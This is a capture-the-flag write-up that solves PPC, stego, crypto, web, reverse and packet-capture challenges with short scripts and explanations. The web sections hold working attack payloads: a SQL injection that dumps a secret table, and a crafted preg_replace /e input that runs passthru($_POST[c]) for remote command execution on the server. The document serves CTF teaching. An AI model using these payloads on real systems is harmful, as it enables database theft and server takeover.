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PPC 100

Description

Solution
This script made in PHP was used to solve the challenge:

<?php

$ch = curl_init();
curl_setopt($ch, CURLOPT_COOKIE, 'PHPSESSID=test');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_URL, 'http://misteryou.ru/ppc100/');

// Get CAPTCHA content
$content = curl_exec($ch);
// Get the huge numbers
preg_match('/<\/h2>([^<]+)</m', $content, $match);
list($a, $b) = explode('+', trim(str_replace(' ', '', $match[1])));
// Add two arbitrary precision numbers using bcadd function
$answer = bcadd($a, $b);

// Get trueanswer, this is used in the server as an answer lookup
preg_match('/trueanswer\' value=\'([^\']+)\'/', $content, $match);
$trueanswer = $match[1];
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// Send the answer and get the flag
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, 
"captchatype=hugecaptcha&trueanswer=$trueanswer&answer=$answer&submit=Submit
");
echo curl_exec($ch);

The answer of the server was:

´╗┐<!doctype html>
<head>
      <meta http-equiv="Content-Type" content="text/html; charset=UTF-
8"/>
    <link href='http://fonts.googleapis.com/css?
family=Amaranth:400italic,700' rel=stylesheet type='text/css'>
    <title>Antihuman captcha</title>
</head>
<body>
    <div><h2>HugeCaptcha</h2>
            Ok, u are robot<br> Secret is:<br> 1101011<br> 1101001<br> 
1101100<br> 1101100<br> 1100001<br> 1101100<br> 1101100<br> 1101000<br> 
1110101<br> 1101101<br> 1100001<br> 1101110<br> 1110011
    </div>
</body>
</html>

Flag
killallhumans



PPC 200

Description
We need your help, soldier!

Your goal today is to help us obtain the access to Oscaderp Corp mainframe.
Our intelligence has managed to install a keylogger and a formgrabber on some bad person's 
work laptop. You don't need his name to do your job.
Everything  worked  as  planned,  the  victim  visited  mainframe's  authentication  page, 
https://authen.intranet/, and started to type in the password.
But when he had a couple characters left, the keylogger got busted and hard-killed by him.

Present intelligence evidence:
[*] The password that's being used is 1,048,576 characters long.
[*]  According  to  our  calculations,  our  keylogger  managed  to  capture  1,048,568  password 
keystrokes.
[*] Formgrabber remained unnoticed,  and in a few hours we've got the logs with successful 
mainframe authentication.

The only major problem: they use client-side MD5 to protect the password from being 
eavesdropped.
[*] We also managed to acquire the source code of the authentication mechanism

You can find all the necessary files in the archive.

YOUR GOAL: obtain the password to the mainframe, and post its SHA1 hash as the flag.

Solution
Maybe this one is not the best solution for the challenge, but I tried to achieve the best possible 
performance by using byte data type directly. You are going to kill me!

import java.io.*;
import java.security.*;
import java.util.*;

public class solver {
public static void main(String[] args) throws Exception {

    String pad;
    String password;
    byte[] final_password;
    byte[] digest = new byte[16];
    byte[] update = new byte[8];
   



      // This is equal to 287d3298b652c159e654b61121a858e0
    byte[] hash = new byte[16];
    hash[0] = (byte) 40;
    hash[1] = (byte) 125;
    hash[2] = (byte) 50;
    hash[3] = (byte) 152;
    hash[4] = (byte) 182;
    hash[5] = (byte) 82;
    hash[6] = (byte) 193;
    hash[7] = (byte) 89;
    hash[8] = (byte) 230;
    hash[9] = (byte) 84;
    hash[10] = (byte) 182;
    hash[11] = (byte) 17;
    hash[12] = (byte) 33;
    hash[13] = (byte) 168;
    hash[14] = (byte) 88;
    hash[15] = (byte) 224;

      // Read the 1,048,568 characters from the password
    MessageDigest md, tmp;
    BufferedReader bufferedReader = new BufferedReader(
                                          new FileReader("password")
                                      );
    password = bufferedReader.readLine();
    final_password = password.getBytes();
    md = MessageDigest.getInstance("MD5");

      // Here is the trick, update the engine with the first characters
      // There is no need to recalculate the algorithm every round
    md.update(final_password);

      // This is so ugly, ugh
    int i, j, k, l, m, n, o, p;
    for (i = 53; i < 58; i++) {
        for (j = 48; j < 58; j++) {
            for (k = 48; k < 58; k++) {
                for (l = 48; l < 58; l++) {
                    for (m = 48; m < 58; m++) {
                        for (n = 48; n < 58; n++) {
                            for (o = 48; o < 58; o++) {
                                for (p = 48; p < 58; p++) {
                                    tmp = (MessageDigest) md.clone();
                                    
                                    update[0] = (byte) i;
                                    update[1] = (byte) j;
                                    update[2] = (byte) k;
                                    update[3] = (byte) l;
                                    update[4] = (byte) m;
                                    update[5] = (byte) n;
                                    update[6] = (byte) o;
                                    update[7] = (byte) p;
                                    tmp.update(update);
                                   



                                     // Calculate the remaining blocks
                                    digest = tmp.digest();
                                   
                                     // Compare the result with the hash
                                    if (Arrays.equals(digest, hash)) {
                                       System.out.println(new String(update)
);
                                       System.exit(0);
                                    }
                                }
                            }
                        }
                    }
                }
            }
        }
    }

}
}

The output from the previous software is: 69880983, these are the last eight characters of the 
password!

Now the flag is the sha1 of the entire password.

Flag
947c83329e6cf2d9b747af59edf7974752afd741



PPC 300

Description

Solution
This script made in PHP was used to solve the challenge:

<?php

$ch = curl_init();
curl_setopt($ch, CURLOPT_COOKIE, 'PHPSESSID=test');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_URL, 'http://misteryou.ru/ppc300/');

// Get the content of the url
$content = curl_exec($ch);

// Get the image name
preg_match('/img\/([^\.]+)\.png/', $content, $match);
$img = $match[1];

// Save the image, then with gocr try to recognize the characters in the 
image
curl_setopt($ch, CURLOPT_URL, "http://misteryou.ru/ppc300/img/$img.png");
$img = imagecreatefromstring(curl_exec($ch));
imagejpeg($img, 'ppc3.jpg', 100);
system('djpeg ppc3.jpg ppc3.pnm');

exec('gocr ppc3.pnm', $output);
$number = str_replace(' ', '', substr($output[0], 10));
file_put_contents('worktodo.ini', $number);

// Execute msieve150 program to factorize the number
$output = array();
exec('msieve150.exe -p -v -np', $output);
$answer = trim(substr($output[36], 13));

// Get trueanswer, this is used in the server as an answer lookup
preg_match('/trueanswer\' value=\'([^\']+)\'/', $content, $match);
$trueanswer = $match[1];



// Send the answer and get the flag
curl_setopt($ch, CURLOPT_URL, 'http://misteryou.ru/ppc300/');
curl_setopt ($ch, CURLOPT_POST, 1);
curl_setopt ($ch, CURLOPT_POSTFIELDS, 
"captchatype=refactor&trueanswer=$trueanswer&answer=$answer&submit=Submit");
echo curl_exec($ch);

The answer of the server was:

´╗┐<!doctype html>
<head>
      <meta http-equiv="Content-Type" content="text/html; charset=UTF-
8"/>
    <link href='http://fonts.googleapis.com/css?
family=Amaranth:400italic,700' rel=stylesheet type='text/css'>
    <title>Antihuman captcha</title>
</head>
<body>
    <div><h2>ReFactor</h1></div>
            Ok, u are robot<br> Secret is:<br> 1101011<br> 1101001<br> 
1101100<br> 1101100<br> 1011111<br>  110001<br> 1011111<br> 1101000<br> 
1110101<br> 1101101<br> 1100001<br> 1101110
</body>
</html>

Flag
kill_1_human



Stego 100

Description
You are presented with the text of the Giant     Panda     found     in     Wikipedia  , with some differences.

Solution
Get the differences between the provided text and the original one.

Flag
SEXYSTEGOPANDAS
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Stego 200

Description

Solution
Applying a sharpen filter, you can get the hidden text:

Each : is equivalent to 1, and . to 0: 1100001 1101001 1101110 1110100 1011111 1100001 
1100110 1110010 1100001 1101001 1100100 1011111 1101111 1100110 1011111 1101110 
1101111 1011111 1100111 1101000 1101111 1110011 1110100 1110011

Flag
aint_afraid_of_no_ghosts



Stego 300

Description

Solution
Using     stegsolve  , we are able to extract a message from the last bit of each pixel on the red 
channel:

Flag
4E34B38257200616FB75CD869B8C3CF0

http://www.caesum.com/handbook/Stegsolve.jar
http://www.caesum.com/handbook/Stegsolve.jar


Crypto 100

Description

Solution
Start on the green circle, follow the arrows, and end in the pink circle:

Flag
HACKYOUISTHEBESTESTCTFFTW



Crypto 200

Description

Solution
Analyzing the ciphertext with Cryptool, we get some kind of information about what was the key 
used for encrypt the plaintext:

The plaintext seems to begin with the word “Congratulations …”, let decrypt the text with “96 A4 
2A C3 96 73” key, in this way we can assure that the first six characters belongs to “Congra”:

Congratulations!  While the quick brown fox jumps over the lazy dog,  the 
plain xor cipher is still very unsecure when the key is much shorter than 
the message. Your flag: Foxie Dogzie Crypto Pwnd

Flag
Foxie Dogzie Crypto Pwnd



Crypto 300

Description
A script in python was provided:

#!/usr/bin/env python
#-*- coding:utf-8 -*-

import os, sys, re
from socket import *

PORT = 7777 or int(sys.argv[1])
KEY = open("_flag.txt").read()

SBOX = list(range(128))
SALTED_SBOX = list(range(128))

# ----------------------------------------------------------------
# SERVICE
# ----------------------------------------------------------------
def main():

add_key(SALTED_SBOX, KEY)
serve()

def serve():
f = socket(AF_INET, SOCK_DGRAM)
f.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)
f.bind(("93.191.13.142", PORT))

print "[*] Server started on %d" % PORT
while True:

    data, addr = f.recvfrom(4096)
    client(data, addr, f)

return

def client(data, addr, f):
print "[.] GOT", repr(data), "FROM", addr

if len(data) % 2 or len(data) > 64:
    return

for ch in data:
    if ord(ch) >= 128:
        return

mid = len(data) >> 1
k = data[:mid].rstrip("\x00")
m = data[mid:].rstrip("\x00")

c = encrypt(SALTED_SBOX, k, m)



f.sendto(c.encode("hex"), addr)
print "[+] RESULT SENT", addr, "\n"
return

# ----------------------------------------------------------------
# CRYPTO
# ----------------------------------------------------------------
def encrypt(sbox, k, m):

sbox = sbox[::]
add_key(sbox, k)

c = ""
for ch in m:

    c += chr(sbox[ord(ch)])
    sbox = combine(sbox, sbox)

return c

def add_key(sbox, k):
for i, c in enumerate(k):

    sbox[i], sbox[ord(c)] = sbox[ord(c)], sbox[i]
    for i in xrange(len(sbox)):
        sbox[i] = (sbox[i] + 1) % 128

return

def combine(a, b):
ret = [-1] * len(b)
for i in range(len(b)):

    ret[i] = a[b[i]]
return tuple(ret)

if __name__ == "__main__":
main()

Solution
The idea behind the challenge is to obtain the content of  _flag.txt,  first,  we have to get the 
original  sbox,  this  is done by sending null  character  followed by character  representing the 
position we want to get:

from socket import socket, AF_INET, SOCK_DGRAM

port = 7777
hostname = '93.191.13.142'
udp = socket(AF_INET,SOCK_DGRAM)

for c in range(1, 128):
data = chr(0) + chr(c)
udp.sendto(data, (hostname, port))
data2, addr = udp.recvfrom(4096)
print int(data2, 16)



Using the same algorithm as used in the original script, we can get the _flag.txt content:

# Thanks Phiber who guide me through this obscure function!
# Original sbox
sbox = [86, 3, 13, 122, 14, 2, 75, 28, 29, 5, 77, 19, 34, 6, 74, 8, 83, 38, 
127, 41, 40, 15, 1, 31, 89, 88, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 62, 
63, 64, 65, 66, 67, 68, 69, 70, 71, 72, 73, 46, 32, 76, 36, 78, 79, 80, 81, 
82, 42, 84, 85, 26, 87, 51, 50, 90, 91, 92, 93, 94, 95, 96, 97, 98, 99, 100, 
101, 102, 103, 104, 105, 106, 107, 108, 109, 110, 111, 112, 113, 114, 115, 
116, 117, 118, 119, 120, 121, 43, 123, 124, 125, 126, 44, 0, 48, 49, 27, 4, 
35, 39, 7, 45, 9, 10, 11, 12, 33, 30, 47, 16, 17, 18, 37, 20, 21, 22, 23, 
24, 25]

# Get the length of the key
slen = sbox[127] + 1
key = ""

# Get the content of the key, starting with the last byte
for offset in xrange(slen, -1, -1):

for i in xrange(128):
    if sbox[i] == offset + slen:
        break
    
      # Swap the content of the sbox

sbox[i], sbox[offset] = sbox[offset], sbox[i]

      # Get the byte
key = key + chr(i)

# Print the key in reverse order
print key[::-1]

Flag
<is`th1s`k3y`l0n9`en0ugh?>



Web 100

Description
Extract the password from Javascript code.

Solution
Password is not NULL:

var PasswordPrompt = "Enter the password";
var TodaysSecretPassphrase = "Climbing is dangerous";
var QuoteOfTheDay = "the beige hue on the waters of the loch impressed all, 
including the zapped french queen, before she heard that symphony again, as 
kind young arthur wanted. keen oxygen vendor.";   
do {
    var SuppliedPassword = prompt(PasswordPrompt);
    if (SuppliedPassword === null) {
        break;
    }

Password = X0X1X2X3X4X5X6X7X8X9X10X11:

    if (SuppliedPassword.length == 12) {             
        PasswordIsCorrect = true;
    }

Password = N0X1X2X3X4X5X6X7X8X9X10X11:

    if (! IsNumber(SuppliedPassword.charAt(0))) { // Offset 0 is numeric
        PasswordIsCorrect = false;
    }

Password = N0N1X2X3X4X5X6X7X8X9N10X11:

    if (! IsNumber(SuppliedPassword.charAt(10)) || ! 
IsNumber(SuppliedPassword.charAt(1))) {
        PasswordIsCorrect = false;
    }

Password = N0N1N2X3X4X5N6X7X8X9N10X11:



    if (! IsNumber(SuppliedPassword.charAt(6)) || ! 
IsNumber(SuppliedPassword.charAt(2))) {
        PasswordIsCorrect = false;
    }

N0 + N1 + N2 + N6 + N10 = 12  (*1)

    if (Number(SuppliedPassword.charAt(0)) + 
Number(SuppliedPassword.charAt(1)) + Number(SuppliedPassword.charAt(2)) + 
Number(SuppliedPassword.charAt(6)) + Number(SuppliedPassword.charAt(10)) != 
SuppliedPassword.length) {
        PasswordIsCorrect = false;
    }

X7 = Last character from var PasswordPrompt =  “d”
Password =  N0N1N2X3X4X5N6 d X8X9N10X11:

    if (SuppliedPassword.charAt(7) != 
PasswordPrompt.charAt(PasswordPrompt.length - 1)) {
        PasswordIsCorrect = false;
    }

Unicode (X7) = Unicode (X8) - 1 =>  X8 = e
Password =  N0N1N2X3X4X5N6 d e X9N10X11:

    if (SuppliedPassword.charCodeAt(7) != SuppliedPassword.charCodeAt(8) - 
Number(SuppliedPassword.charAt(0)) / Number(SuppliedPassword.charAt(0))) {
        PasswordIsCorrect = false;
    }

N1 = N2 =N6

(*1)  N0 + 3N1 +  N10  = 12   (*2) 
Password =  N0N1N1X3X4X5N1 d e X9N10X11:

    if (Number(SuppliedPassword.charAt(2)) != 
Number(SuppliedPassword.charAt(6)) || Number(SuppliedPassword.charAt(6)) != 
Number(SuppliedPassword.charAt(1))) {
        PasswordIsCorrect = false;
    }

N1 * N10 = 0  (*3)



    // Number at index 1 * Number at index 10 = 0
    if (Number(SuppliedPassword.charAt(1)) * 
Number(SuppliedPassword.charAt(10)) != 0) {
        PasswordIsCorrect = false;
    }

N1 - N10 = 1
(*3) N1 = 1 , N10 = 0
(*2) N0 + 3*1 + 0 = 12 => N0 = 9
Password = 9 1 1 X3X4X5 1 d e X9 0 X7:

    // Number at index 1 - Number at index 10 = 1 
    if (Number(SuppliedPassword.charAt(1)) - 
Number(SuppliedPassword.charAt(10)) != SuppliedPassword.charAt(3).length) {
        PasswordIsCorrect = false;
    }

X11X3X4 = substring(TodaysSecretPassphrase beginning at 9/2  len 3) = bin
X11 = b
X3 = i
X4 = n
Password = 9 1 1 i n X5 1 d e X9 0 b:

    if (Number(SuppliedPassword.charAt(1)) - 
Number(SuppliedPassword.charAt(10)) != SuppliedPassword.charAt(3).length) {
        PasswordIsCorrect = false;
    }

    if (SuppliedPassword.charAt(11) + SuppliedPassword.charAt(3) + 
SuppliedPassword.charAt(4) != 
TodaysSecretPassphrase.substr(Number(SuppliedPassword.charAt(0)) / 2, 3)) {
        PasswordIsCorrect = false;
    }

Character at index 9 is lowercase (*4)

    if (! IsLowercase(SuppliedPassword.charAt(9))) {
        PasswordIsCorrect = false;
    }

Character at index 9 not exists in var “QuoteOfTheDay (*5)
(*4) and (*5)  X9 = j
Password = 9 1 1 i n X5 1 d e j 0 b:



    if (QuoteOfTheDay.indexOf(SuppliedPassword.charAt(9)) != -1) {
        PasswordIsCorrect = false;
    }

X5 is not validated => X5 = any character

Flag
n0-evidence-0n1y-this-8030



Web 200

Description
Get flag through a data entry web form.

Solution
Analyzing the HTML source code, we can see links to the PHP  source code and database 
schema:
http  ://  misteryou  .  ru  /  web  200/  index  .  php  .  txt  
http  ://  misteryou  .  ru  /  web  200/  db  .  sql  

The target is read table "secret", column "flag".

The vulnerable code is:

if (isset($_POST["fields"])) {
    $location = mysql_real_escape_string($_POST['location']);

    $fieldArray = $_POST['fields'];
    foreach ($fieldArray as &$field) {
        $field = mysql_real_escape_string($field);
        if (is_numeric($field)) {
            if (strstr($field, "."))
                $field = (float)$field;
            else
                $field = (int)$field;
        } elseif (strtolower($field) == "true") {
            $field = true;
        } elseif (strtolower($field) == "false") {
            $field = false;
        } else {
            $field = NULL;
        }
    }
    unset($field);
    $storedFields = serialize($fieldArray);
    mysql_query("INSERT INTO storage (location, data) VALUES (\"$location\", 
\"$storedFields\")");

Sending “fields” parameter, instead of “fields[]”, we can bypass foreach filter. Filling the form 
with:
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location = “AR”
fields = “),((SELECT flag FROM secret LIMIT 1), 0x61)-- -”

Result:

INSERT INTO storage (location, data) VALUES ("AR", "s:47:"),((SELECT flag 
FROM secret LIMIT 1), 0x61)-- -";")

Now, the flag is visible on the main site from challenge.

Flag
Serialize()_ALL_the_fields!!11



Web 300

Description
This is a pseudo random number generator using PHP:

They gave us the source code of the index script:

<?$
{b("ee3ab0f9421ce0feabb4676542993ab3")}=b("9a8890a6434cd24e876d687bcaf63b402
18f525c");$
{b("a7d2546914126ca18ca52e3205950070")}=b("c74b0811f86043e9aba0c1d249633993"
);${b("116fe81df7d030c1e875745f97f9f138")}=b("6da187003b534e740a777e");$
{b("a3bfe0d3698e1310cce7588fbab15dbe")}=b("f19e6937d9080f346a01");$
{b("39ebc7035a36015274fdb7bf7c1b661e")}=b("336f2f8b0f837cf318");$
{b("66711d77210b4193e5539696d4337127")}=b("283101ccbc823b56");$
{b("d1cb34796276edb85d038ee75671cf4b")}
(b("82c84c7312d7a17c4df032fc53b96a6eadeacc6624ca8d4763c855a11cb92226a8e3930f"));if($



{b("6c74ed82b97f6c415a83aa0aa8baf8d1")}(b("3d7e368111b63c72515d5d46b1"),$
{b("eb717d90b3287b1fbd")})){${b("532194e0380d7a29761eb0b215b4168d")}=$
{b("cb3911f75937342f3b")}[b("2daec48e9ce64f696075279dff")];$
{b("f877261be92e25500a601f21ab4cfa84")}=${b("507c24291c22ba245b")}
[b("398058b936ce0090a90f349a298ae06b96")];$
{b("dbcffbbeb2632a6e6c6f84ac52064768")}=b("ac51a58253c0a511c9dc9cafd2490c5bd
490ccb550c6a111c9de9aacd7480f5fd595cbb952c0a61bc9de9cadd3430857d792ccb553c1a
61bcbd89aa8d2490e5ed493ceb254cba11dcedc9dabd5420d5ed793ccb554cba51cc8d59aaed
2490e5ad599ceb154cba419c9d49da6d2480856d298cbb854caa110cfd49da7d2480856");if
(${b("2e272b48041e04ef643cc8624445f2a0")}!=$
{b("6a24556aba8e247fa9d27de3bed53586")})$
{b("baee65eb837f2005a229dc821e06b2d9")}
(b("d226cbb39ee6930cbddd02ea8b7a2913b7d8a98b9df6850ce79803"));else$
{b("966fd744cb7b26253a2d2e10d4f86ceb")}($
{b("ee2d11ebf1e0953de1b3cd330bf63b45")}
(b("ef1a9b31679b8ed9faa81647e89a674234"),$
{b("6e9dca05952d2364621f20fd1177a04c")}(b("99b85fb97c17"),$
{b("b9c7fb42fb9760cf9f90bdc23dcac2e6")}),$
{b("532194e0380d7a29761eb0b215b4168d")}));}else{foreach($
{b("ff38daff4156b41b58d2ecfb70e4bc6b")}(b("cd248b6cb8"),b("94a8be1778"))as$_
)${b("c30cddb21a8c75cc8e45d9fc34655c09")}($
{b("9946a48e60730e4ca59fc82e0562fca1")}().b("f975de3ba2"));}$
{b("88a0090aa5d28c97de682ff340fc340b")}
(b("3812ce7d43f003a4010d64890674a759b78a30aa75ff57e1595925c70a7be910b3857ade
0fba4ae61110619f067bbe45a9c463c242f805af1e266497047aeb0cb3cd63805fa916ad0c1c
38dc5626af5df3943d964de741f54d4830cf5520ab5df3963b9548e642f14c4d37c35726ac57
f3963d944ced45f94e4a30cf5627ac57f1903b914de743f04d4b32c8512dab51f4943c924aec
40f04e4b30cf512daf50f29d3b974de743f44c4132cb512dae55f39c3c9f4de645f84b4037c2
512cab5cf59c3c9e4de645f85e592ac56e1fb945e7852e8743b619b10c0d258f1a65fc58e0d6
7bc512b603e6590f64971670a44280c060c20dbe03a4595f779a1260f65ee085219972d557e1
595939d4057aeb08f9a8048743f015ae1d003bf66929b60db3c86299"));function b($b)
{return eval(Üç‘ˆ©²ÓÒœÄ ¬žó¶é²îŒ–‰…ú í©¦Î²�Œ×ª±§èùä¼¦¡®�Óð¿¿àšÒ 
ÚŠÐ¾ßÁÜ•ïÍµþë™Ä–þ¶±¤³� ŒÀåòÈàÙî¯Š¡‰¿¸–¦õðöÌ¼Š‰ßº‘ìØÚåàÇÐ��Ñ‘ÊÛ‰âä þŠéÁÔÛ’ÈÕÃ‘ 
Ï„�ªüä±µÑÛÏÉ^®‚åýÛÜó¡è¶ÿÞûƒÓˆÆÆáò¼‰Õ�ÚÒ¼š´îûš�ŸÁÕ�ÎÓÄ‡°•ÖÓÈ²¡Ô¨æµÐ÷å¾¼ÂõœÑÚ¯í¿ 
ÆÐþÏ›®œ�Æð¼¡ÜÎ¨�úÊÚåÒ‡ØÒ®² � ö);}�

Solution
We can know what is the purpose of the b function by using echo instead of eval:

<?php
echo "Üç‘ˆ©²ÓÒœÄ ¬žó¶é²îŒ–‰…ú í©¦Î²�Œ×ª±§èùä¼¦¡®�Óð¿¿àšÒ ÚŠÐ¾ßÁÜ•ïÍµþë™Ä–þ¶±�
¤³ŒÀåòÈàÙî¯Š¡‰¿¸–¦õðöÌ¼Š‰ßº‘ìØÚåàÇÐ��Ñ‘ÊÛ‰âä þŠéÁÔÛ’ÈÕÃ‘  Ï„�ªüä±µÑÛÏÉ"  ^ 
"®‚åýÛÜó¡è¶ÿÞûƒÓˆÆÆáò¼‰Õ�ÚÒ¼š´îûš�ŸÁÕ�ÎÓÄ‡°•ÖÓÈ²¡Ô¨æµÐ÷å¾¼ÂõœÑÚ¯í¿ 
ÆÐþÏ›®œ�Æð¼¡ÜÎ¨�úÊÚåÒ‡ØÒ®² � ö";�

The output from the script is:

return str_repeat(md5(substr($b,0,8),true),ceil((strlen($b)-8)/16))
^pack("\x48\x2a",substr($b,8));



After doing the hard work of deobfuscating the script, we can see clearly where the vulnerability 
is:

<?php
error_reporting(0);

printf("<!DOCTYPE html>
<html>
  <head>

<title>RNG of Ultimate Security</title>
  </head>
  <body>

<h3>The Most Secure RNG in the World</h3>
<!-- can't touch this: http://securerng.misteryou.ru/flag.txt.gz -->
<!-- can touch this: http://securerng.misteryou.ru/index.php.txt -->
<form method='POST'>

  Enter the seeds for random number generation, one by line:<p/>
  <textarea name='rng_seeds' cols=50 rows=10>");
die;

if (array_key_exists('rng_seeds', $_POST)) {
    $seed = $_POST['rng_seeds'];
    $algorithm = $_POST['rng_algorithm'];
    $fixed_algorithm =
'536841312864415465284352795054284352433332287354525265562841427328243125537
1725428655850284558702870492829292929292929292929';
    
    if($algorithm != $fixed_algorithm)
        printf('wuut?! hacker detected!');
    else
       printf(preg_replace('#\b(\d+)\b#se', pack('H*', $algorithm), $seed));
} else {
    foreach (range(1, 5) as $_)
    printf(mt_rand() . "\n");
}

printf("</textarea><p/>
  <input type='hidden'  name='rng_algorithm' 
value='536841312864415465284352795054284352433332287354525265562841427328243
12553717254286558502845587
02870492829292929292929292929' />
  <input type='submit' value='Generate &raquo;' />

</form>
 </body>
</html>");

$algorithm variable is used to apply several transformations based on the number captured by 
the regular expression:

ShA1(dATe(CRyPT(CRC32(sTRReV(ABs($1%SqrT(eXP(EXp(pI())))))))))



The  vulnerability  here  is  that  we  can  build  a  specialized  transformation  that  bypass  the 
$fixed_algorithm comparison:

rng_seeds=1&c=cat+flag.txt.gz&rng_algorithm=0x081EF7A2CAB3CC003C302670617373
7468727528245f504f53545b635d2926266469650000000000000000000000000000000000

$algorithm takes the value of  “÷¢Ê³Ì<0&passthru($_POST[c])&&die”,  the comparison is  true, 
and then we can execute commands on the server.

The compressed file (flag.txt.gz) contains an encoded file with base64 about 42 times, it is time 
for another PHP script:

<?php

$flag = file_get_contents('flag.txt');

for ($i = 0; $i < 50; $i++) {
$flag = base64_decode($flag);
echo $flag . PHP_EOL;

}

Flag
36e03906042b7b266afa32bd1ea35445



Reverse 100

Description
#include <stdio.h>
#include <string.h>

int main(int argc, char *argv[]) {
    if (argc != 4) {
    printf("what?\n");
    exit(1);
    }

    unsigned int first = atoi(argv[1]);
    if (first != 0xcafe) {
    printf("you are wrong, sorry.\n");
    exit(2);
    }

    unsigned int second = atoi(argv[2]);
    if (second % 5 == 3 || second % 17 != 8) {
    printf("ha, you won't get it!\n");
    exit(3);
    }

    if (strcmp("h4cky0u", argv[3])) {
    printf("so close, dude!\n");
    exit(4);
    }

    printf("Brr wrrr grr\n");

    unsigned int hash = first * 31337 + (second % 17) * 11 + strlen(argv[3]) 
- 1615810207;

    printf("Get your key: ");
    printf("%x\n", hash);
    return 0;
}

Solution
Using the same code we can make a bruteforce over second variable:

#include <stdio.h>



#include <string.h>

int main(int argc, char *argv[]) {
unsigned int first  = 0xcafe;
unsigned int second = 0;
unsigned int hash   = 0;
unsigned int i = 0;

    
for (i = 0; i < 1000; i++) {

    second = i;
    
    if (second % 5 == 3 || second % 17 != 8) {
        continue;
    }

    hash = first * 31337 + (second % 17) * 11 + strlen("h4cky0u") - 
1615810207;
    printf("%x\n", hash);

}

return 0;
}

Flag
c0ffee



Reverse 200

Description

Solution
The comparison for the right answer is given in these instructions:

CPU Disasm
Address    Hex dump        Command
00401133   39C8            CMP EAX,ECX
00401135   0F85 61020000   JNE 0040139C
0040113B   B8 59204000     MOV EAX,OFFSET 00402059

We can bypass the comparison by setting the Z flag on the registers to 1:

The output from the program is:

Flag
oh_you_cheat3r



Reverse 300

Description

Solution
Instructions between 00405C70 and 00405DF8 are used to decrypt  the real  opcode of  the 
program. Anyway, jump at 00405DFB takes you to the real entry point:

CPU Disasm
Address   Hex dump      Command 
Comments
00402900  /> /55        PUSH EBP
00402901  |. |89E5      MOV EBP,ESP
00402903  |. |81EC 14000000 SUB ESP,14
...
0040295A  |. |8B45 FC   MOV EAX,DWORD PTR SS:[EBP-4]
0040295D  |. |50        PUSH EAX
0040295E  |. |E8 A4E9FFFF   CALL 00401307                       // main()
00402963  |. |83C4 0C   ADD ESP,0C
00402966  |. |8945 F0   MOV DWORD PTR SS:[EBP-10],EAX
00402969  |. |8B45 F0   MOV EAX,DWORD PTR SS:[EBP-10]
0040296C  |. |50        PUSH EAX
0040296D  |. |E8 16000000   CALL 00402988
00402972  |. |83C4 04   ADD ESP,4
00402975  |. |C9        LEAVE
00402976  \. |C3        RETN

At 0040295E offset you can see familiar strings like: “Usage: %s <user> <key>”, “Err, something 
went wrong...”, “Are trying to fool me?”, or “Great! Now submit the license key for 'hackyou'”.

We have now the username: hackyou.

Now, it is time to understand the algorithm: the expected key has the format XXXX-YYYY-ZZZZ.

Function at  00401071 is  responsible  for  check the first  quartet,  00401133 the second,  and 
004011F5 the third.

To be more specific, instruction at 00401113 is responsible for the character comparison of the 
first quartet, 004011D5 for the second, and 00401297 for the third. I leave you the hard work!

This is the flow of execution of the program:



Flag
kecc-hack-yo0u



Packets 100

Description
Mister You is willing to hire someone who can repeat his investigation.
Arc starts from here

Part 1. Find the secret link in this conversation

Solution
$ strings epicark100.pcap | grep -i key
message=some%20shit%20happend%20%20this%20sunday.%20i%20have%20downloaded
%20this%20(key-http%3A%2F%2Ftinyurl.com%2F9qj5r4r)&to=%23hacku
message=oh%2C%20sry.%20key%20is%20tinyurl.com%2F8pdox5a&to=%23hacku
mPOST /safebrowsing/downloads?client=navclient-auto-
ffox&appver=15.0.1&pver=2.2&wrkey=AKEgNiuG_3JPr9B41IQNypI7EAVw8oaCQtVJYpdMOG
gLKkFvOQVQtyEW3U9c28TOgCy1vXiYXUF7xQ8ssxtclOypciYrG9RAdg== HTTP/1.1

Flag
tinyurl.com/8pdox5a



Packets 200

Description
Mister You is willing to hire someone who can repeat his investigation.
Arc starts from here

Part 2. What's the md5 of the file being transferred?

Solution
Analizing epicark200 (downloaded from the link http://tinyurl.com/9hqfdjz) with wireshark, we 
can see the FTP command “RETR /tcp_serv.beam” and three FTP Data packets.

Following TCP streams we can retrieve tcp_serv.beam file, and calculate the MD5 hash:

Flag
77f92edb199815b17e2ff8da36e200df



Packets 300

Description
Mister You is willing to hire someone who can repeat his investigation.
Arc starts from here

Part 3. Find and solve it. It's up to you

Solution
We obtained ctf.exe binary from the packet number 493, using the same trick as used in the 
packet200 solution:

Follow TCP Stream: 493    3.937273    192.168.3.137    69.31.136.17    HTTP 
GET /dl/006919641c9025168ef412cf240da401/5072f0d709063a76/0hz4ue/ctf.exe 
HTTP/1.1

Using file command we checked that ctf.exe is actually a PE file. We were able to rebuild a little 
number of functions on the binary file. The main routine is at offset 401000, there we can see 
the next code:

name.sa_data[2] = inet_addr("159.253.22.174");
name.sa_data[0] = htons(3137);

The program is connecting to 159.253.22.174 in the port  3137.  Next  to the connection,  the 
behavior of the program is as follows:

First, it received data from the server:

recv(v0, buf, 17, 8); // String SecureSocketFake is received
.
.

recv(v0, v14, 8, 8);  // Random value used for generating session key
recv(v0, buf, 2, 8);
recv(v0, v11, 4, 8);  // Random value

v14 is encrypted using xor algorithm with the key “_hackme_”, the result is used as the session 
key. The string “FlagRequest:omkesey” concatened with the value of v11 variable is encrypted 
using the previous key.



The result of the operation is sent, and then we received the expected flag encrypted with the 
session key:

send(v0, v18, strlen(18), 0);
recv(v0, buf, 50, 0);

Using a debugger, we put a breakpoint in the last recv instruction, and then we get the flag by 
decrypting with the session key:

buf ^ (v14 ^ "_hackme_")

Flag
Hire_m3_mister_U
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